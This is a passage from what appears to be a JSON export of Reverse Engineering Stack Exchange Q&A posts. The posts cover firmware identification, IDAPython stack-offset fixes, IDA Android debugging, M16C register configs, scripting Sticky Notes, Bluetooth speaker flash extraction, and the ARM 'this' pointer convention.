        "Body": "<p>I decided to play around with an old baby monitor, purely to learn something about how such things (I.E. embedded devices) work. I successfully extracted the flash memory, and I was expecting this to have a uboot image plus a squashfs filesystem or something along those lines. binwalk dashes my hopes of that:</p>\n<pre><code>$ binwalk motorola_1.bin\n\nDECIMAL       HEXADECIMAL     DESCRIPTION\n--------------------------------------------------------------------------------\n\n</code></pre>\n<p>Instead it's apparently full of ARM instructions:</p>\n<pre><code>$ binwalk -A motorola_1.bin\n\nDECIMAL       HEXADECIMAL     DESCRIPTION\n--------------------------------------------------------------------------------\n300           0x12C           ARM instructions, function prologue\n328           0x148           ARM instructions, function prologue\n404           0x194           ARM instructions, function prologue\n428           0x1AC           ARM instructions, function prologue\n1176          0x498           ARM instructions, function prologue\n1580          0x62C           ARM instructions, function prologue\n</code></pre>\n<p>Now before doing this, I connected to the monitor's UART headers and was presented with some kind of debug program, that allowed me to view the camera's current slew, tweak the display settings and so on. The strings of that program's printouts are all visible within the binary I extracted from the chip if I run <code>strings</code> on it, so this is obviously what was running there. I'm quite confused as to <em>how</em> it was running if the firmware isn't some form of linux image though.</p>\n<p>The board has no other flash chip that I can see, though there is a (regrettably unidentifiable) IC that's obviously a processor or SOC of some sort which I suppose could have an internal flash section.</p>\n<p>If this isn't some form of linux image, then, <em>what could it be</em>? Pure ARM instructions implies it's just a program, but I don't really understand how it can be executing the program without the OS booting to run it. Or is it likely that I'm simply missing something?</p>\n<p>EDIT: The chip, if it matters, is a Winbond W25Q16.V - not exactly a large chip for storing a linux image on...or so it seems to me anyway. But what do I know?</p>\n",
        "Title": "What could a firmware image be, if not embedded linux?",
        "Tags": "|linux|arm|embedded|flash|",
        "Answer": "<p>There are plenty of non-Linux solutions for embedded systems, ranging from an RTOS such as eCos, FreeRTOS, ThreadX, Nucleus and many others to a completely monolithic, custom made firmware without any specific OS environment. About the only way to find out for sure is to start disassembling and figure out how it works.</p>\n<p>My old presentation may be of some use for background info:</p>\n<p><a href=\"https://github.com/skochinsky/papers/blob/master/2010-07%20%5BRecon%5D%20Intro%20to%20Embedded%20Reverse%20Engineering%20for%20PC%20reversers.pdf\" rel=\"nofollow noreferrer\">https://github.com/skochinsky/papers/blob/master/2010-07%20%5BRecon%5D%20Intro%20to%20Embedded%20Reverse%20Engineering%20for%20PC%20reversers.pdf</a></p>\n"
    },
    {
        "Id": "27498",
        "CreationDate": "2021-04-17T22:49:03.223",
        "Body": "<p>I recently had to make a version of a survivalcraft 2 mod that allowed circuits to run faster</p>\n<p>I found this script by stack overflow to unpack a mono bundle app</p>\n<p>I already modified the .dll, but I need to repack it, and I don't know anything about pyelftools</p>\n<p>Script:</p>\n<pre><code>from elftools.elf.elffile import ELFFile\nfrom zipfile import ZipFile\nfrom cStringIO import StringIO\nimport gzip, string\n\ndata = open('libmonodroid_bundle_app.so').read()\nf = StringIO(data)\nelffile = ELFFile(f)\nsection = elffile.get_section_by_name('.dynsym')\nfor symbol in section.iter_symbols():\n  if symbol['st_shndx'] != 'SHN_UNDEF' and symbol.name.startswith('assembly_data_'):\n    print symbol.name\n    dll_data = data[symbol['st_value']:symbol['st_value']+symbol['st_size']]\n    dll_data = gzip.GzipFile(fileobj=StringIO(dll_data)).read()\n    outfile = open(symbol.name[14:].replace('_dll', '.dll'), 'w+'); print symbol.name[14:].replace('_dll', '.dll')\n    outfile.write(dll_data)\n    outfile.close()\n</code></pre>\n",
        "Title": "How to repack the monobundleapp",
        "Tags": "|android|c#|",
        "Answer": "<p>I already created a script, However, It probably won't work, Although, There is a folder called assemblies without the mono bundle, you will probably just need to zip the extracted dlls, create the folder, and delete the mono bundle</p>\n<p>However, I'm not sure, but anything is possible :)</p>\n"
    },
    {
        "Id": "27507",
        "CreationDate": "2021-04-20T11:18:55.907",
        "Body": "<p>When using the stack offset for a variable obtained via <code>ida_hexrays.lvar_t.stk.get_stkoff()</code> or <code>ida_hexrays.vdloc_t.stkoff()</code> the results vary between &quot;correct&quot;, and 8 or 16 bytes out as measured either manually or as compared to the results obtained from:</p>\n<pre><code>id = idc.get_frame_id(here())\nfor member in idautils.StructMembers(id):\n    offset, name, size = member\n</code></pre>\n<p>The incorrect offsets are sourced from:</p>\n<pre><code>func = idaapi.get_func(ea)\nvu = idaapi.open_pseudocode(func.start_ea, 0)\n[n.get_stkoff() for n in vu.cfunc.lvars if n.is_stk_var()]\n</code></pre>\n<p><em>[edit]: the difference appears to be caused by the pseudo-code vu reporting offsets relative to the minimal SPD, whilst everything else uses the post-prologue SPD (code beneath)</em></p>\n<pre><code>def GetPseudoStackOffsetCorrection(funcea):\n    func = ida_funcs.get_func(funcea)\n    return func.frsize + func.frregs + idc.get_spd(idc.get_min_spd_ea(func.start_ea))\n</code></pre>\n<p><em>[edit 2]: this alternate method works <strong>sometimes</strong>. it functions by looking at the insn located at <code>lvar_t.defea</code> (assumedly &quot;defined at ea&quot;) and calculating from there.  However 10% of the time <code>lvar.defea</code> points at a conditional jmp, so again -- very kludgy</em></p>\n<pre><code>def get_stkoff_from_lvar(lvar, debug=1):\n    ea = idc.get_item_head(lvar.defea)\n    func = ida_funcs.get_func(ea)\n    if not func:\n        return idc.BADADDR\n    \n    for n in range(2):\n        if idc.get_operand_type(ea, n) == idc.o_displ:\n            offset = idc.get_operand_value(ea, n) + func.frsize - func.fpd\n\n            if debug:\n                lvar_name = lvar.name\n                sid = idc.get_frame_id(func.start_ea)\n                frame_name = idc.get_member_name(sid, offset)\n                print(&quot;[debug] offset:0x{:x}, lvar_name:{}, frame_name:{}&quot;\n                        .format(offset, lvar_name, frame_name))\n\n            return offset \n</code></pre>\n<p><em>[edit]: kludges aside (which I would prefer not to use) I have issues with my</em>\n[...] &quot;rename, retype and remap&quot; (with regex) package, which I recently noted does not update the &quot;stack&quot; (visible in assembly) names when calling <code>vu.rename_lvar</code> as would normally happen when performing a rename via <kbd>N</kbd></p>\n<p>Without an accurate offset, there is no way for the code to rename the corresponding stack variable <code>var_18</code> when renaming the pseudo-code variable <code>v1</code> (for example).</p>\n<p>Any solution to this general problem is welcome, though preferentially one that allows the correct stack location of pseudo-code variables would be best as I will shortly be attempting &quot;watch-variables&quot; via flare-emu.</p>\n<p>These are some results from a test function written to compare the conflicting results I have been receiving, and to confirm to myself that there is no magic &quot;just deduct func.frregs&quot; type answer.</p>\n<p>Function 1.</p>\n<pre><code>func.flags                  : FUNC_FRAME | FUNC_PURGED_OK | FUNC_SP_READY\nfunc.frregs                 :   8\nfunc.frsize                 :  c0\nfunc.fpd                    :  a0\nida_frame.frame_off_retaddr :  c8\nida_frame.frame_off_lvars   :   0\nida_frame.frame_off_args    :  d0\nida_frame.frame_off_savregs :  c0\n\nname           lvar_offset1 stk_offset \n-------------- ------------ ---------- \nrange          0x30         0x28       \nguide          0x38         0x30       \nImageBase      0x58         0x50       \n_stack_padding 0xd8         0xd0    \n</code></pre>\n<p>Function 2</p>\n<pre><code>func.flags                  : FUNC_FRAME | FUNC_PURGED_OK | FUNC_SP_READY\nfunc.frregs                 :   8\nfunc.frsize                 : 1c0\nfunc.fpd                    : 190\nida_frame.frame_off_retaddr : 1c8\nida_frame.frame_off_lvars   :   0\nida_frame.frame_off_args    : 1d0\nida_frame.frame_off_savregs : 1c0\n\nname                      lvar_offset1 stk_offset \n------------------------- ------------ ---------- \nlpTopLevelExceptionFilter 0x50         0x40       \nLibFileName               0x88         0x78       \nHandle                    0xc8         0xb8       \nlpProcName                0x110        0x100      \nhObject                   0x198        0x188      \nhModule                   0x1a0        0x190      \n</code></pre>\n<p>Function 3</p>\n<pre><code>func.flags                  : FUNC_FRAME | FUNC_PURGED_OK | FUNC_SP_READY\nfunc.frregs                 :   8\nfunc.frsize                 :  40\nfunc.fpd                    :  20\nida_frame.frame_off_retaddr :  48\nida_frame.frame_off_lvars   :   0\nida_frame.frame_off_args    :  50\nida_frame.frame_off_savregs :  40\n\nname   lvar_offset1 stk_offset \n------ ------------ ---------- \naccum1 0x20         0x20       \naccum2 0x2c         0x2c \n</code></pre>\n<p>I can provide the test code if required, though it's not small.</p>\n<p><em>[edit: test code attached, warning: not pretty]</em></p>\n<pre><code># test code: \n#     sync_lvars_to_stk(func_ea)\n\ndef get_func_flag_names(f):\n    return [x for x in [k for k in dir(idc) \n            if k.startswith('FUNC_')] \n            if f.flags &amp; getattr(idc, x)]\n\ndef _get_vu(ea, vu):\n    if vu: return vu\n    return idaapi.open_pseudocode(idaapi.get_func(ea).start_ea, 0)\n\ndef get_lvars(ea, vu=None):\n    vu = _get_vu(ea, vu)\n    return [n.get_stkoff() for n in vu.cfunc.lvars if n.is_stk_var()]\n\ndef dump_stkvars(ea=None, iteratee=None):\n    def get_member_tinfo(sid, offset):\n        s = ida_struct.get_struc(sid)\n        m = ida_struct.get_member(s, offset)\n        tif = ida_typeinf.tinfo_t()\n        try:\n            if ida_struct.get_member_tinfo(tif, m):\n                return tif\n        except TypeError:\n            pass\n\n    results = []\n    sid = idc.get_frame_id(ea)\n    for member in idautils.StructMembers(sid):\n        o = AttrDict()\n        o.offset, o.name, o.size = member\n        o.mid     = idc.get_member_id(sid,    o.offset)\n        o.name    = idc.get_member_name(sid,  o.offset)\n        o.size    = idc.get_member_size(sid,  o.offset)\n        o.flags   = idc.get_member_flag(sid,  o.offset)\n        tif       = get_member_tinfo(sid,     o.offset)\n        o.tifname = str(tif) if tif else ''\n        o.sid     = sid\n        if callable(iteratee): iteratee(o)\n        results.append(o)\n    return results\n\ndef indexBy(o, key):\n    r = {}\n    for x in o:\n        r[x[key]] = x\n    return r\n\ndef sync_lvars_to_stk(ea, vu=None):\n    vu = _get_vu(ea, vu)\n    func = idaapi.get_func(ea)\n    print(&quot;\\n{:28}: {}\\n{:28}: {:3x}\\n{:28}: {:3x}\\n{:28}: {:3x}\\n{:28}: {:3x}\\n{:28}: {:3x}\\n{:28}: {:3x}\\n{:28}: {:3x}\\n&quot;\n            .format(\n                &quot;func.flags&quot;,                  &quot; | &quot;.join(get_func_flag_names(func)),\n                &quot;func.frregs&quot;,                 func.frregs,\n                &quot;func.frsize&quot;,                 func.frsize,\n                &quot;func.fpd&quot;,                    func.fpd,\n                &quot;ida_frame.frame_off_retaddr&quot;, ida_frame.frame_off_retaddr(func),\n                &quot;ida_frame.frame_off_lvars&quot;,   ida_frame.frame_off_lvars(func),\n                &quot;ida_frame.frame_off_args&quot;,    ida_frame.frame_off_args(func),\n                &quot;ida_frame.frame_off_savregs&quot;, ida_frame.frame_off_savregs(func),\n                ))\n\n    stkvars = indexBy(dump_stkvars(ea), 'name')\n    lvars = []\n    if vu and func:\n        stk_lvars = [(n.name, n.tif.get_size(), \n            n.location.stkoff(),\n            ) for n in vu.cfunc.lvars if n.location.is_stkoff()]\n\n        for name, size, offset in stk_lvars:\n            o = AttrDict()\n            o.update({\n                'name': name,\n                'size': size,\n                'lvar_offset': offset,\n            })\n            lvars.append(o)\n    lvars = indexBy(lvars, 'name')\n\n    lvar_names = lvars.keys()\n    for name in lvar_names:\n        if name in stkvars:\n            print({\n                'name': name,\n                'lvar_offset': lvars[name].lvar_offset,\n                'stk_offset': stkvars[name].offset,\n            })\n\nclass AttrDict(dict):\n    def __init__(self, *args, **kwargs):\n        super(AttrDict, self).__init__(*args, **kwargs)\n        self.__dict__ = self\n\n</code></pre>\n",
        "Title": "ida_hexrays.lvar_t.stk.get_stkoff() incorrect \u00b1 0x10",
        "Tags": "|ida|idapython|",
        "Answer": "<p>I just found what appears to be the official version of the adjustment function for the transmigration of worthless min-spd based offsets into heaven sent frame based offsets.</p>\n<h3>cfunc.get_stkoff_delta()</h3>\n<p><em>Possible implementation:</em></p>\n<pre><code>def GetMinSpdAdjustment(funcea):\n    func = ida_funcs.get_func(funcea)\n    return 0 - (func.frsize + func.frregs + idc.get_spd(idc.get_min_spd_ea(func.start_ea)))\n</code></pre>\n<p><em>Example usage:</em></p>\n<pre><code>vu = idaapi.open_pseudocode(funcea, 0)\nvu.cfunc.lvars[10].get_stkoff() - vu.cfunc.get_stkoff_delta()\n</code></pre>\n<p><em>Complete example:</em></p>\n<pre><code>\n# call rename_lvar(old, new, ea)\n\ndef get_pseudocode_vu(ea, vu):\n    if vu:\n        return vu\n    \n    return idaapi.open_pseudocode(ea, 0)\n\ndef label_stkvar(offset, name, ea=None, vu=None):\n    sid = idc.get_frame_id(ea)\n    old_name = idc.get_member_name(sid, offset)\n    if old_name:\n        if old_name == name:\n            return old_name\n\n        if idc.set_member_name(sid, offset, name):\n            return old_name\n\ndef rename_lvar(old, new, ea, uniq=0, vu=None):\n    def make_unique_name(name, taken):\n        if name not in taken:\n            return name\n        fmt = &quot;%s_%%i&quot; % name\n        for i in range(3, 1&lt;&lt;10):\n            name = fmt % i\n            if name not in taken:\n                return name\n\n    old = old.strip()\n    new = new.strip()\n    if old == new:\n        return True\n\n    vu = get_pseudocode_vu(ea, vu)\n    names = [n.name for n in vu.cfunc.lvars]\n\n    if new in names:\n        if uniq:\n            return False\n\n        new = make_unique_name(new, names)\n\n    lvars = [n for n in vu.cfunc.lvars if n.name == old]\n    if lvars:\n        lvar = lvars[0]\n        if lvar.is_stk_var():\n            offset = lvar.get_stkoff() - vu.cfunc.get_stkoff_delta()\n            old_name = label_stkvar(offset, new, ea=ea, vu=vu)\n\n        return vu.rename_lvar(lvar, new, 1)\n</code></pre>\n"
    },
    {
        "Id": "27510",
        "CreationDate": "2021-04-20T15:57:33.840",
        "Body": "<p>I have a running IDA debug-server on my virtual android device(check attachments).\nThe problem is: when I try hit Attach procces it gives me an error(check title).\nHere is some kinda params that I'm using: <a href=\"https://i.stack.imgur.com/smk79.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/smk79.png\" alt=\"enter image description here\" /></a></p>\n<p><a href=\"https://i.stack.imgur.com/HVmVy.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/HVmVy.png\" alt=\"enter image description here\" /></a></p>\n<p><a href=\"https://i.stack.imgur.com/lV0hu.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/lV0hu.png\" alt=\"enter image description here\" /></a></p>\n<p><a href=\"https://i.stack.imgur.com/xOMBZ.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/xOMBZ.png\" alt=\"enter image description here\" /></a></p>\n<p>I have already seen similliar question here: <a href=\"https://reverseengineering.stackexchange.com/questions/17445/failed-to-use-ida-to-remote-android-debug\">Failed to use IDA to remote android debug</a>\nAs @0xC0000022L said: <em>You need to select Remote Linux in the debugger attach menu of IDA</em>, but I don't have this particular option. Is there any ideas? I appreciate any help. Thank you!</p>\n",
        "Title": "Remote debugging android native lib(.so) No connection could be made because the target machine actively refused it. when connecting to",
        "Tags": "|ida|android|",
        "Answer": "<p>See your emulator, your ADB communication probably failed, open your terminal and check that your emulator is displayed with an ADB device, generate a new RSA certificate and try again, I recently had the same problem with debugger from IDA and its competitor JEB, and that was the solution that worked for me.</p>\n<p><a href=\"https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/debugging-android-libraries-using-ida/\" rel=\"nofollow noreferrer\">See also how to properly configure the ADB for your IDA or emulator / device.</a></p>\n<p>Try to allow local connections via adb using:</p>\n<blockquote>\n<p>&quot;adb forward tcp:23946 tcp:23946&quot;. This will allow connections to localhost:23946 and forward those to the emulator.</p>\n</blockquote>\n"
    },
    {
        "Id": "27518",
        "CreationDate": "2021-04-21T06:27:13.987",
        "Body": "<p>I've just started reversing some microcontroller code and have the RAM, ROM, and SFR (Special Function Registers) segments set up.  I've selected my processor architecture and it has named most of the registers correctly automatically.  However, a few are incorrect (I assume this is due to variations between specific chips in the architecture family).</p>\n<p>This is not a problem for most registers as I can simply rename and recomment them.  However, some of the registers have the specific bits labelled and I have tried absolutely everything I can to remove them.  I can rename the register itself and recomment it just fine, but I cannot modify or delete the bit specific fields.</p>\n<p>In the image I have renamed the register at 002C to &quot;VW2C&quot; and added the correct comment.  The previous name was &quot;dm0con&quot;.  As can be seen, the bit specific fields are still there and trying to rename or recomment them just edits the actual register itself.</p>\n<p>I have searched and searched online but it is hard to find the answer since I'm not even sure what the proper name for these fields are.  I have looked through all the toolbars and submenus but cannot get rid of these bit specific definitions.</p>\n<p><a href=\"https://i.stack.imgur.com/HYqi0.jpg\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/HYqi0.jpg\" alt=\"enter image description here\" /></a></p>\n",
        "Title": "IDA Pro - How to remove multi-line bit definitions for register",
        "Tags": "|ida|disassembly|assembly|tools|register|",
        "Answer": "<p>The I/O register names and bit layouts for processors that support them are stored in processor-specific <code>.cfg</code> files. For M16C, the files are <code>m16c60.cfg</code> and <code>m16c80.cfg</code>:</p>\n<pre><code>dm0con                0x2c     DMA0 control register\ndm0con.dmbit_dm0con   0        Transfer unit bit select bit\ndm0con.dmasl_dm0con   1        Repeat transfer mode select bit\ndm0con.dmas_dm0con    2        DMA request bit\ndm0con.dmae_dm0con    3        DMA enable bit\ndm0con.dsd_dm0con     4        Source address direction select bit\ndm0con.dad_dm0con     5        Destination address direction select bit\n</code></pre>\n<p>You can either edit the default registers or make a copy of the default <code>.m16c</code> device section under a new name and select it at load time.</p>\n<p><a href=\"https://i.stack.imgur.com/tqwEM.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/tqwEM.png\" alt=\"enter image description here\" /></a></p>\n"
    },
    {
        "Id": "27522",
        "CreationDate": "2021-04-21T16:50:11.967",
        "Body": "<p>For a silly little project I wanted to do, I wanted to make it so that I could open new notes (Microsoft Sticky Notes) from an external script - preferably python. Although I'm not good at reverse engineering I thought that it shouldn't be too hard because I <em>thought</em> it was a standalone exe.\nIt was only until I couldn't launch the exe on it's own that I realised it's a UWP app which means I couldn't do my go-to debugging it in IDA.</p>\n<p>(Just to mention now, I noticed that sticky notes always has two processes running - <code>ApplicationFrameHost</code> which I assume is the main sticky notes window and another process which I assume is the actual open sticky notes. All the methods I've tried, I've tried on both processes to be certain.)</p>\n<p>I started by opening sticky notes in IDA and trying to use the debugger, but as mentioned, that didn't get me too far so I opened it up in Binary Ninja instead, just to explore a bit. I didn't know what to look for, so I didn't find much. However, BN did show a lot of strings except apparently they aren't used anywhere in the program. Things like:</p>\n<pre><code>BCreateStickyNoteViaJumplistAction - &quot;Jumplist&quot; is also in the name of the plus icon used as the button - C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftStickyNotes_3.8.8.0_x64__8wekyb3d8bbwe\\Assets\\JumpListNewNote.png`\nCreateNewNote .... WithNewStickyNote\nTryGet_ViewState_IsSticky\n</code></pre>\n<p>and lots of what looks like C# code. But as I mentioned, BN showed no references to these (and other) strings and as I'll mention later, the strings in x64dbg all seemed &quot;encoded&quot; so I never found a use for these anyway.</p>\n<p>Next I think I tried out WinDBG (preview). I tried first by just attaching it to the running sticky notes process (and then launching the app using the <code>launch app package</code>) but I wasn't able to do anything with that. It just told me the DLL's that were being loaded, including the ones missing which means I couldn't launch the exe directly, like:</p>\n<pre><code>C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Runtime.2.2_2.2.28604.0_x64__8wekyb3d8bbwe\\mrt100_app.dll\nC:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Framework.2.2_2.2.29512.0_x64__8wekyb3d8bbwe\\SharedLibrary.dll\n</code></pre>\n<p>Maybe it's possible to somehow point the exe to these DLL so I could launch it via IDA but I think it's a stretch.</p>\n<p>I did a few other small things here and there like ollydbg and <a href=\"http://www.codedebug.com/php/Products/Products_NikPEViewer_20v.php\" rel=\"nofollow noreferrer\">PE Disassembler viewer</a> but they are not of significance.</p>\n<p>The thing I have been trying the most is x64dbg. On my own, I didn't really get anything done; I didn't find anything related to buttons or their handler's. So I tried googling to see if someone else had tried reverse engineering a UWP and came across <a href=\"https://reverseengineering.stackexchange.com/questions/17127/how-to-reverse-engineer-a-windows-10-uwp-app\">this</a>. I gave the second answer a go, since it was quicker to do at the time. However, when you click to open a new note, no new DLL's will be loaded so I couldn't use that. I tried also breaking when a new thread is created which did cause it to stop execution when I created a new note but I don't think each new note is its own thread, I think that was just some other internal Windows thing.</p>\n<p>The reason I didn't try the first answer is that they hook into <code>CreateFileW</code> from <code>KernelBase.dll</code> to &quot;redirect&quot; the resources accessed, since it loads a new DLL when <code>Restart now</code> is pressed, but again, in my situation, nothing new is loaded when a new note is created.\nI did also try EventHook and just using <code>GetProcessById</code> to get the sticky notes process but that doesn't really expose much.</p>\n<p>I feel like I have what I need to do this, I just don't quite know how. If anyone could point me in the right direction I'd really appreciate it.</p>\n",
        "Title": "Reverse engineer sticky notes to allow external script to open new notes",
        "Tags": "|ida|debugging|windbg|x64dbg|",
        "Answer": "<p>I am not sure what you are asking (never used sticky notes and don't have it installed )<br />\nbut if you want to run sticky notes from command line you can do something like this</p>\n<p>the command below will run calculator instead of the wildcard <em>calc</em> use <em>stick</em></p>\n<pre><code>C:\\&gt;powershell -c &quot;(get-startapps -name *calc*).Appid\nMicrosoft.WindowsCalculator_8wekyb3d8bbwe!App\n\nC:\\&gt;start shell:appsfolder\\Microsoft.WindowsCalculator_8wekyb3d8bbwe!App\n</code></pre>\n<p>you can obviously use this with python withsomething like</p>\n<pre><code>C:\\&gt;python -c &quot;import os;os.system(\\&quot;start explorer shell:appsfolder\\Microsoft.WindowsCalculator_8wekyb3d8bbwe!App\\&quot;)&quot;\n</code></pre>\n<p>if you need to start a new note from a script checkout</p>\n<pre><code>:\\&gt;pip show uiautomation\nName: uiautomation\nVersion: 2.0.11\nSummary: Python UIAutomation for Windows\nHome-page: https://github.com/yinkaisheng/Python-UIAutomation-for-Windows\nAuthor: yinkaisheng\nAuthor-email: yinkaisheng@live.com\nLicense: Apache 2.0\nLocation: c:\\python39\\lib\\site-packages\nRequires: comtypes\nRequired-by:\n</code></pre>\n<p>with this it is a single liner the Name =&quot;New Note&quot; is taken from your comments  be aware the uwp app needs to be in foreground for this to work\ntooltip remark</p>\n<pre><code>:\\&gt;python -c &quot;import uiautomation as auto;auto.ButtonControl(Seachdepth=1,Name =\\&quot;New note\\&quot;).Click()&quot;\n</code></pre>\n<p>a gif</p>\n<p><a href=\"https://i.stack.imgur.com/4IrZz.gif\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/4IrZz.gif\" alt=\"enter image description here\" /></a></p>\n"
    },
    {
        "Id": "27528",
        "CreationDate": "2021-04-22T11:24:17.130",
        "Body": "<p>I have a bluetooth speaker. <a href=\"https://www.harmanaudio.in/FUZE+100.html\" rel=\"noreferrer\">Infinity Fuze 100</a>.</p>\n<p>It's a good speaker.</p>\n<p>But it has annoying messages on startup and shutdown. And for other interface events. I'd like to either get rid of them entirely, or replace them with simple beeps, instead of wordy messages.</p>\n<p>I'm confident if I can get the firmware binary I should be able to patch it the way I want. I do have experience reversing software successfully.</p>\n<p>This is my first attempt at hardware hacking however and I'm a bit stuck.</p>\n<p><strong>What I've tried so far:</strong></p>\n<p>1 - Looked up online if this speaker has a service mode. So I could just connect it via usb, set it to service mode and read/write firmware. Some speakers do have this. <a href=\"https://www.harmanaudio.in/on/demandware.static/-/Sites-masterCatalog_Harman/default/dwe2cb4420/pdfs/Manuals-FUZE100-QSG.pdf\" rel=\"noreferrer\">According to its manual</a>, this speaker doesnt seem to.</p>\n<p>2 - I tried holding down various button combinations hoping some combo will put it into a service mode that may be undocumented in the manual. Din't work.</p>\n<p>3 - Read online maybe I need to manually get at the firmware using something called JTAG, so I opened up the speaker and took out the board to inspect it. Here are its front and back:</p>\n<p><a href=\"https://i.stack.imgur.com/knMd2.jpg\" rel=\"noreferrer\"><img src=\"https://i.stack.imgur.com/knMd2.jpg\" alt=\"enter image description here\" /></a>\n<a href=\"https://i.stack.imgur.com/7Xwxl.jpg\" rel=\"noreferrer\"><img src=\"https://i.stack.imgur.com/7Xwxl.jpg\" alt=\"enter image description here\" /></a></p>\n<p>4 - I can't see an obvious JTAG interface. So I looked up the data sheet for the main chip : ATS2815, which seems to be a fully integrated blue tooth audio chip.</p>\n<p><a href=\"https://i.stack.imgur.com/9H2ux.png\" rel=\"noreferrer\"><img src=\"https://i.stack.imgur.com/9H2ux.png\" alt=\"enter image description here\" /></a></p>\n<p>Even though I looked at its pin layout, I can't figure out if JTAG is present?</p>\n<p>5 - I also looked up the chip XT25F08B, and that seems to be a NOR flash memory.\nHere is <a href=\"https://static.chipdip.ru/lib/050/DOC007050537.pdf\" rel=\"noreferrer\">the data sheet</a>.</p>\n<p>What I'm wondering is:</p>\n<ul>\n<li>Where is the JTAG interface? Am I missing something obvious?</li>\n<li>My guess is that the firmware must reside on XT25F08B flash memory. Is this\ncorrect?</li>\n<li>If it is true, then is there a simple and direct way to read/write this memory without bothering with JTAG (if it's not present or can't be figured out)?</li>\n</ul>\n<p><strong>Maybe all this is entirely the wrong approach, and there is another way to get at the firmware?</strong></p>\n",
        "Title": "How do I extract the firmware from this bluetooth speaker board?",
        "Tags": "|firmware|hardware|jtag|",
        "Answer": "<p>Based on a datasheet found on Internet (<a href=\"http://www.lanzhi-tech.com/filedownload/99240\" rel=\"noreferrer\">http://www.lanzhi-tech.com/filedownload/99240</a>) it seems that the ATS2815 is a chip that has everything to manage a Bluetooth speaker and, probably, it is inside a lot of different speakers, all with the same interface.</p>\n<p>According to the datasheet it has &quot;internal ROM and internal RAM for program and data&quot;. So, I suppose, that the core firmware that implements the Bluetooth protocol and the main chip features is inside the ATS2815 chip.</p>\n<p>On the external NOR flash EEPROM XT25F08B, which is 1Mbyte in size (8 Mbit), probably there is configuration data (like information on his Bluetooth name, paired devices, and so on) and maybe, but not sure on this, some &quot;application&quot; that can be loaded in RAM and executed.</p>\n<p>On the Datasheet, there are multiple pins labeled UART_TX or UART_RX but it says also that the chip has only one UART interface; anyway I would try to see if on some of these pins there is something printed during the boot cycle.</p>\n<p>You can also try to read the NOR flash using an 8 pin adapter like this one: <a href=\"https://amzn.to/39A9JFd\" rel=\"noreferrer\">https://amzn.to/39A9JFd</a>, an EEPROM flash programmer like the &quot;TL866II Plus&quot; (or cheaper clones) and the related Xgpro EEPROM reader/programmer software.</p>\n<p>According to the datasheet, it seems that the ATS1815 chip doesn't have a JTag interface, so it seems that this interface is not available here.</p>\n"
    },
    {
        "Id": "27531",
        "CreationDate": "2021-04-22T17:09:11.670",
        "Body": "<p>I came across this part in the book <a href=\"https://mirrors.ocf.berkeley.edu/parrot/misc/openbooks/programming/ReverseEngineeringForBeginners.en.pdf\" rel=\"nofollow noreferrer\">Reverse Engineering For Beginners</a> book by Denis Yurichev. It writes about reverse engineering Classes in C++, but it doesn't provide any examples in ARM.</p>\n<p>Page 546</p>\n<pre><code>_this$ = -4\n; size = 4\n??0c@@QAE@XZ PROC ; c::c, COMDAT\n; _this$ = ecx\npush ebp\nmov ebp, esp\npush ecx\nmov DWORD PTR _this$[ebp], ecx\nmov eax, DWORD PTR _this$[ebp]\nmov DWORD PTR [eax], 667\nmov ecx, DWORD PTR _this$[ebp]\nmov DWORD PTR [ecx+4], 999\nmov eax, DWORD PTR _this$[ebp]\nmov esp, ebp\npop ebp\nret 0\n??0c@@QAE@XZ ENDP ; c::c\n_this$ = -4 ; size = 4\n_a$ = 8\n; size = 4\n_b$ = 12\n; size = 4\n??0c@@QAE@HH@Z PROC ; c::c, COMDAT\n; _this$ = ecx\npush ebp\nmov ebp, esp\npush ecx\nmov DWORD PTR _this$[ebp], ecx\nmov eax, DWORD PTR _this$[ebp]\nmov ecx, DWORD PTR _a$[ebp]\nmov DWORD PTR [eax], ecx\nmov edx, DWORD PTR _this$[ebp]\nmov eax, DWORD PTR _b$[ebp]\nmov DWORD PTR [edx+4], eax\nmov eax, DWORD PTR _this$[ebp]\nmov esp, ebp\npop ebp\nret 8\n??0c@@QAE@HH@Z ENDP ; c::c\n</code></pre>\n<p>As you can see <strong>ECX</strong> is used to hold the pointer of this for accessing the members of the class. How is this done in ARM assembly?</p>\n",
        "Title": "Reverse Engineering Classes in ARM",
        "Tags": "|arm|class-reconstruction|",
        "Answer": "<p>Because it is compiler specific , it is not required to be internally the same always. It seems though that CLANG and GCC use <strong>R0</strong> to store this.</p>\n<p><strong>C++</strong></p>\n<pre><code>class MyClass {\n  int field_;\n public:\n  void set_field() { this-&gt;field_ = 42; }\n};\n\nvoid test() {\n  MyClass x;\n  x.set_field();\n}\n</code></pre>\n<p><strong>ARM:</strong></p>\n<pre><code>test():\n        push    {r11, lr}\n        mov     r11, sp\n        sub     sp, sp, #8\n        add     r0, sp, #4\n        bl      MyClass::set_field()\n        mov     sp, r11\n        pop     {r11, lr}\n        bx      lr\nMyClass::set_field():\n        sub     sp, sp, #4\n        str     r0, [sp]\n        ldr     r1, [sp]\n        mov     r0, #42\n        str     r0, [r1]\n        add     sp, sp, #4\n        bx      lr\n</code></pre>\n<p><strong>Intel :</strong></p>\n<pre><code>MyClass::set_field():\n        push    rbp\n        mov     rbp, rsp\n        mov     QWORD PTR [rbp-8], rdi\n        mov     rax, QWORD PTR [rbp-8]\n        mov     DWORD PTR [rax], 42\n        nop\n        pop     rbp\n        ret\ntest():\n        push    rbp\n        mov     rbp, rsp\n        sub     rsp, 16\n        lea     rax, [rbp-4]\n        mov     rdi, rax\n        call    MyClass::set_field()\n        nop\n        leave\n        ret\n</code></pre>\n"
    },
    {
        "Id": "27532",
        "CreationDate": "2021-04-22T21:07:17.037",
